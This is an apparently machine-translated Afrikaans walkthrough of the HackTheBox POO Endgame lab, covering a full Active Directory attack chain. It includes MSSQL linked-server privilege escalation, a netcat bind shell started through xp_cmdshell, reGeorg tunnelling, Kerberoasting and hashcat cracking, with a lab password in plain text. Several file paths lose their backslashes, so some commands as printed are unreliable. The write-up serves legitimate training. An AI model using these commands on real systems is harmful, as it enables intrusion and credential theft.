HackTheBoxendgame. Deurgang van die laboratorium Professionele offensiewe operasies. Pentest Active Directory

HackTheBoxendgame. Deurgang van die laboratorium Professionele offensiewe operasies. Pentest Active Directory

In hierdie artikel sal ons die gang van nie net 'n masjien, maar 'n hele mini-laboratorium van die werf ontleed HackTheBox.

Soos in die beskrywing genoem, is POO ontwerp om vaardighede in alle stadiums van aanvalle in 'n klein Active Directory-omgewing te toets. Die doel is om 'n beskikbare gasheer te kompromitteer, voorregte te eskaleer en uiteindelik die hele domein te kompromitteer deur 5 vlae in die proses te versamel.

Die verbinding met die laboratorium is via VPN. Dit word aanbeveel om nie vanaf 'n werkende rekenaar of van 'n gasheer te koppel waar daar belangrike data vir jou is nie, aangesien jy in 'n privaat netwerk kom met mense wat iets van inligtingsekuriteit weet 🙂

organisatoriese inligting
Sodat jy kan uitvind oor nuwe artikels, sagteware en ander inligting, het ek geskep Telegramkanaal и groep om enige kwessies te bespreek in die gebied van IIKB. Ook jou persoonlike versoeke, vrae, voorstelle en aanbevelings Ek sal kyk en almal antwoord..

Alle inligting word slegs vir opvoedkundige doeleindes verskaf. Die skrywer van hierdie dokument aanvaar geen verantwoordelikheid vir enige skade wat aan enigiemand veroorsaak word as gevolg van die gebruik van die kennis en metodes wat verkry is as gevolg van die bestudering van hierdie dokument nie.

Intro

Hierdie eindspel bestaan ​​uit twee masjiene en bevat 5 vlae.

HackTheBoxendgame. Deurgang van die laboratorium Professionele offensiewe operasies. Pentest Active Directory

Die beskrywing en adres van die beskikbare gasheer word ook gegee.

HackTheBoxendgame. Deurgang van die laboratorium Professionele offensiewe operasies. Pentest Active Directory

Kom ons begin!

Recon vlag

Hierdie masjien het 'n IP-adres van 10.13.38.11 wat ek by /etc/hosts voeg.
10.13.38.11 poo.htb

Die eerste stap is om oop poorte te skandeer. Aangesien dit lank neem om alle poorte met nmap te skandeer, sal ek dit eers met masscan doen. Ons skandeer alle TCP- en UDP-poorte vanaf die tun0-koppelvlak teen 500pps.

sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500

HackTheBoxendgame. Deurgang van die laboratorium Professionele offensiewe operasies. Pentest Active Directory

Nou, om meer gedetailleerde inligting te kry oor die dienste wat op die poorte loop, laat ons 'n skandering uitvoer met die -A-opsie.

nmap -A poo.htb -p80,1433

HackTheBoxendgame. Deurgang van die laboratorium Professionele offensiewe operasies. Pentest Active Directory

Ons het dus IIS- en MSSQL-dienste. In hierdie geval sal ons die regte DNS-naam van die domein en rekenaar uitvind. Op die webbediener word ons begroet deur die IIS-tuisblad.

HackTheBoxendgame. Deurgang van die laboratorium Professionele offensiewe operasies. Pentest Active Directory

Kom ons herhaal die gidse. Ek gebruik gobuster hiervoor. In die parameters spesifiseer ons die aantal strome 128 (-t), URL (-u), woordeboek (-w) en uitbreidings wat ons interesseer (-x).

gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html

HackTheBoxendgame. Deurgang van die laboratorium Professionele offensiewe operasies. Pentest Active Directory

Ons het dus HTTP-verifikasie vir die /admin-gids, sowel as die .DS_Store-werkskermdiensberginglêer beskikbaar. .DS_Store is lêers wat gebruikerinstellings vir 'n vouer stoor, soos 'n lys lêers, ikoonligging, geselekteerde agtergrondprent. So 'n lêer kan in die webbedienergids van webontwikkelaars beland. So kry ons inligting oor die inhoud van die gids. Hiervoor kan jy gebruik DS_Store-kruiper.

python3 dsstore_crawler.py -i http://poo.htb/

HackTheBoxendgame. Deurgang van die laboratorium Professionele offensiewe operasies. Pentest Active Directory

Ons kry die inhoud van die gids. Die interessantste ding hier is die /dev-gids, waaruit ons die bronne en db-lêers in twee takke kan sien. Maar ons kan die eerste 6 karakters van lêer- en gidsname gebruik as die diens kwesbaar is vir IIS ShortName. Jy kan kyk vir hierdie kwesbaarheid met behulp van IIS-kortnaamskandeerder.

HackTheBoxendgame. Deurgang van die laboratorium Professionele offensiewe operasies. Pentest Active Directory

En ons kry een tekslêer wat met "poo_co" begin. Omdat ek nie geweet het wat om volgende te doen nie, het ek eenvoudig al die woorde wat met "co" begin, uit die woordeboek van gidse gekies.

cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt

En herhaal met wfuzz.

wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404

HackTheBoxendgame. Deurgang van die laboratorium Professionele offensiewe operasies. Pentest Active Directory

En vind die regte woord! Ons kyk na hierdie lêer, stoor die geloofsbriewe (te oordeel aan die DBNAME-parameter, hulle is van MSSQL).

HackTheBoxendgame. Deurgang van die laboratorium Professionele offensiewe operasies. Pentest Active Directory

Ons oorhandig die vlag, en ons vorder met 20%.

HackTheBoxendgame. Deurgang van die laboratorium Professionele offensiewe operasies. Pentest Active Directory

Huh vlag

Ons koppel aan MSSQL, ek gebruik DBeaver.

HackTheBoxendgame. Deurgang van die laboratorium Professionele offensiewe operasies. Pentest Active Directory

Ons vind niks interessant in hierdie databasis nie, kom ons skep 'n SQL Editor en kyk wat gebruikers is.

SELECT name FROM master..syslogins;

HackTheBoxendgame. Deurgang van die laboratorium Professionele offensiewe operasies. Pentest Active Directory

Ons het twee gebruikers. Kom ons kyk na ons voorregte.

SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');

HackTheBoxendgame. Deurgang van die laboratorium Professionele offensiewe operasies. Pentest Active Directory

Daar is dus geen voorregte nie. Kom ons kyk na die gekoppelde bedieners, ek het in detail oor hierdie tegniek geskryf hier.

SELECT * FROM master..sysservers;

HackTheBoxendgame. Deurgang van die laboratorium Professionele offensiewe operasies. Pentest Active Directory

So ons vind 'n ander SQL Server. Kom ons kyk na die uitvoering van opdragte op hierdie bediener met behulp van openquery().

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');

HackTheBoxendgame. Deurgang van die laboratorium Professionele offensiewe operasies. Pentest Active Directory

En ons kan selfs 'n navraagboom bou.

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');

Die feit is dat wanneer ons 'n versoek aan 'n gekoppelde bediener rig, die versoek in die konteks van 'n ander gebruiker uitgevoer word! Kom ons kyk watter gebruikerskonteks ons op die gekoppelde bediener gebruik.

SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');

HackTheBoxendgame. Deurgang van die laboratorium Professionele offensiewe operasies. Pentest Active Directory

En kom ons kyk nou in watter konteks die versoek van die gekoppelde bediener na ons s'n uitgevoer word!

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');

HackTheBoxendgame. Deurgang van die laboratorium Professionele offensiewe operasies. Pentest Active Directory

Dit is dus 'n DBO-konteks wat alle voorregte moet hê. Kom ons kyk na die voorregte in die geval van 'n versoek van 'n gekoppelde bediener.

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');

HackTheBoxendgame. Deurgang van die laboratorium Professionele offensiewe operasies. Pentest Active Directory

Soos jy kan sien, het ons al die voorregte! Kom ons skep ons admin so. Maar hulle laat hulle nie deur openquery nie, kom ons doen dit deur EXECUTE AT.

EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";

En nou verbind ons met die geloofsbriewe van die nuwe gebruiker, let op die nuwe vlagdatabasis.

HackTheBoxendgame. Deurgang van die laboratorium Professionele offensiewe operasies. Pentest Active Directory

Ons oorhandig hierdie vlag en gaan verder.

HackTheBoxendgame. Deurgang van die laboratorium Professionele offensiewe operasies. Pentest Active Directory

Backtrack vlag

Kom ons kry die dop met MSSQL, ek gebruik mssqlclient van die impacket-pakket.

mssqlclient.py ralf:[email protected] -db POO_PUBLIC

HackTheBoxendgame. Deurgang van die laboratorium Professionele offensiewe operasies. Pentest Active Directory

Ons moet wagwoorde kry, en die eerste ding wat ons reeds ontmoet het, is die webwerf. Ons benodig dus 'n webbedienerkonfigurasie (dit is onmoontlik om 'n gerieflike dop te gooi, blykbaar werk die firewall).

HackTheBoxendgame. Deurgang van die laboratorium Professionele offensiewe operasies. Pentest Active Directory

Maar toegang word geweier. Alhoewel ons die lêer vanaf MSSQL kan lees, moet ons net weet watter programmeertale opgestel is. En in die MSSQL-gids vind ons uit dat daar Python is.

HackTheBoxendgame. Deurgang van die laboratorium Professionele offensiewe operasies. Pentest Active Directory

Dan is daar geen probleem om die web.config-lêer te lees nie.

EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"

HackTheBoxendgame. Deurgang van die laboratorium Professionele offensiewe operasies. Pentest Active Directory

Met die geloofsbriewe gevind, gaan na /admin en tel die vlag op.

HackTheBoxendgame. Deurgang van die laboratorium Professionele offensiewe operasies. Pentest Active Directory

HackTheBoxendgame. Deurgang van die laboratorium Professionele offensiewe operasies. Pentest Active Directory

vastrapvlag

Om die waarheid te sê, daar is 'n paar ongerief as gevolg van die gebruik van 'n firewall, maar as ons deur die netwerkinstellings kyk, sien ons dat IPv6-protokol ook gebruik word!

HackTheBoxendgame. Deurgang van die laboratorium Professionele offensiewe operasies. Pentest Active Directory

Voeg hierdie adres by /etc/hosts.
dead:babe::1001 poo6.htb
Kom ons skandeer die gasheer weer, maar hierdie keer oor IPv6.

HackTheBoxendgame. Deurgang van die laboratorium Professionele offensiewe operasies. Pentest Active Directory

En die WinRM-diens is beskikbaar oor IPv6. Kom ons maak kontak met die geloofsbriewe wat gevind is.

HackTheBoxendgame. Deurgang van die laboratorium Professionele offensiewe operasies. Pentest Active Directory

Daar is 'n vlag op die lessenaar, gee dit oor.

HackTheBoxendgame. Deurgang van die laboratorium Professionele offensiewe operasies. Pentest Active Directory

P00ned vlag

Na verkenning op die gasheer met wynertjies ons vind niks besonders nie. Toe is daar besluit om weer na geloofsbriewe te soek (ek het ook oor hierdie onderwerp geskryf 'n artikel). Maar ek kon nie al die SPN'e van die stelsel via WinRM kry nie.

setspn.exe -T intranet.poo -Q */*

HackTheBoxendgame. Deurgang van die laboratorium Professionele offensiewe operasies. Pentest Active Directory

Kom ons voer die opdrag via MSSQL uit.

HackTheBoxendgame. Deurgang van die laboratorium Professionele offensiewe operasies. Pentest Active Directory

Op hierdie manier kry ons die SPN van gebruikers p00_hr en p00_adm, wat beteken dat hulle kwesbaar is vir 'n aanval soos Kerberoasting. Kortom, ons kan die hashes van hul wagwoorde kry.

Eerstens moet jy 'n stabiele dop kry namens die MSSQL-gebruiker. Maar aangesien ons beperk is in toegang, het ons slegs 'n verbinding met die gasheer deur poorte 80 en 1433. Maar dit is moontlik om verkeer deur hawe 80 te tonnel! Hiervoor gebruik ons volgende aansoek. Kom ons laai die tunnel.aspx-lêer op na die tuisgids van die webbediener - C: inetpubwwwroot.

HackTheBoxendgame. Deurgang van die laboratorium Professionele offensiewe operasies. Pentest Active Directory

Maar wanneer ons probeer om toegang daartoe te kry, kry ons 'n 404-fout. Dit beteken dat *.aspx-lêers nie uitgevoer word nie. Om lêers met hierdie uitbreidings te laat loop, installeer ASP.NET 4.5 soos volg.

dism /online /enable-feature /all /featurename:IIS-ASPNET45

HackTheBoxendgame. Deurgang van die laboratorium Professionele offensiewe operasies. Pentest Active Directory

HackTheBoxendgame. Deurgang van die laboratorium Professionele offensiewe operasies. Pentest Active Directory

En nou, wanneer ons toegang tot tunnel.aspx kry, kry ons die antwoord dat alles gereed is om te gaan.

HackTheBoxendgame. Deurgang van die laboratorium Professionele offensiewe operasies. Pentest Active Directory

Kom ons begin die kliëntdeel van die toepassing, wat verkeer sal herlei. Ons sal alle verkeer vanaf poort 5432 na die bediener aanstuur.

python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx

HackTheBoxendgame. Deurgang van die laboratorium Professionele offensiewe operasies. Pentest Active Directory

En ons gebruik proxychains om die verkeer van enige toepassing deur ons proxy te stuur. Kom ons voeg hierdie instaanbediener by die /etc/proxychains.conf konfigurasielêer.

HackTheBoxendgame. Deurgang van die laboratorium Professionele offensiewe operasies. Pentest Active Directory

Kom ons laai nou die program op na die bediener netcat, waarmee ons 'n stabiele binddop sal maak, en die skrif Roep Kerberoast aan, waarmee ons die Kerberoasting-aanval sal uitvoer.

HackTheBoxendgame. Deurgang van die laboratorium Professionele offensiewe operasies. Pentest Active Directory

Nou, deur MSSQL, begin ons die luisteraar.

xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321

HackTheBoxendgame. Deurgang van die laboratorium Professionele offensiewe operasies. Pentest Active Directory

En ons koppel deur ons proxy.

proxychains rlwrap nc poo.htb 4321

HackTheBoxendgame. Deurgang van die laboratorium Professionele offensiewe operasies. Pentest Active Directory

En kom ons kry die hashes.

. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt

HackTheBoxendgame. Deurgang van die laboratorium Professionele offensiewe operasies. Pentest Active Directory

Vervolgens moet jy oor hierdie hashes herhaal. Aangesien rockyou nie 'n wagwoorddatawoordeboek gehad het nie, het ek AL die wagwoordwoordeboeke gebruik wat in Seclists verskaf word. Vir opsomming gebruik ons ​​hashcat.

hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force

En ons kry albei wagwoorde, die eerste in die dutch_passwordlist.txt woordeboek, en die tweede in Keyboard-Combinations.txt.

HackTheBoxendgame. Deurgang van die laboratorium Professionele offensiewe operasies. Pentest Active Directory

HackTheBoxendgame. Deurgang van die laboratorium Professionele offensiewe operasies. Pentest Active Directory

En so ons het drie gebruikers, ons gaan na die domeinbeheerder. Kom ons vind eers sy adres uit.

HackTheBoxendgame. Deurgang van die laboratorium Professionele offensiewe operasies. Pentest Active Directory

Wonderlik, ons het die IP-adres van die domeinbeheerder geleer. Kom ons vind alle gebruikers van die domein uit, asook wie van hulle 'n administrateur is. Om die skrif af te laai om inligting te kry PowerView.ps1. Dan sal ons verbind met evil-winrm, wat die gids spesifiseer met die script in die -s parameter. En laai dan net die PowerView-skrip.

HackTheBoxendgame. Deurgang van die laboratorium Professionele offensiewe operasies. Pentest Active Directory

Nou het ons toegang tot al sy funksies. Die p00_adm-gebruiker lyk soos 'n bevoorregte gebruiker, so ons sal in sy konteks werk. Kom ons skep 'n PSCredential-objek vir hierdie gebruiker.

$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass

Nou sal alle Powershell-opdragte waar ons Creds spesifiseer, namens p00_adm uitgevoer word. Kom ons vertoon 'n lys van gebruikers en die AdminCount-kenmerk.

Get-NetUser -DomainController dc -Credential $Creds | select name,admincount

HackTheBoxendgame. Deurgang van die laboratorium Professionele offensiewe operasies. Pentest Active Directory

En so, ons gebruiker is regtig bevoorreg. Kom ons kyk aan watter groepe hy behoort.

Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds

HackTheBoxendgame. Deurgang van die laboratorium Professionele offensiewe operasies. Pentest Active Directory

Ons bevestig uiteindelik dat die gebruiker 'n domeinadministrateur is. Dit gee dit die reg om op afstand by die domeinbeheerder aan te meld. Kom ons probeer om met WinRM aan te meld deur ons tonnel te gebruik. Ek was verward deur die foute wat deur reGeorg uitgereik is toe ek evil-winrm gebruik het.

HackTheBoxendgame. Deurgang van die laboratorium Professionele offensiewe operasies. Pentest Active Directory

Dan gebruik ons ​​'n ander, makliker een, skrif om aan WinRM te koppel. Maak verbindingsparameters oop en verander.

HackTheBoxendgame. Deurgang van die laboratorium Professionele offensiewe operasies. Pentest Active Directory

Ons probeer om te verbind, en ons is in die stelsel.

HackTheBoxendgame. Deurgang van die laboratorium Professionele offensiewe operasies. Pentest Active Directory

Maar daar is geen vlag nie. Kyk dan na die gebruiker en kyk na die lessenaars.

HackTheBoxendgame. Deurgang van die laboratorium Professionele offensiewe operasies. Pentest Active Directory

By mr3ks kry ons die vlag en die laboratorium is 100% voltooi.

HackTheBoxendgame. Deurgang van die laboratorium Professionele offensiewe operasies. Pentest Active Directory

Dis al. As terugvoer, lewer kommentaar of jy iets nuuts uit hierdie artikel geleer het en of dit vir jou nuttig was.

Jy kan by ons aansluit by telegram. Daar kan jy interessante materiaal, saamgevoegde kursusse, sowel as sagteware vind. Kom ons versamel 'n gemeenskap waarin daar mense sal wees wat baie areas van IT verstaan, dan kan ons mekaar altyd help met enige IT- en inligtingsekuriteitkwessies.

Bron: will.com

Voeg 'n opmerking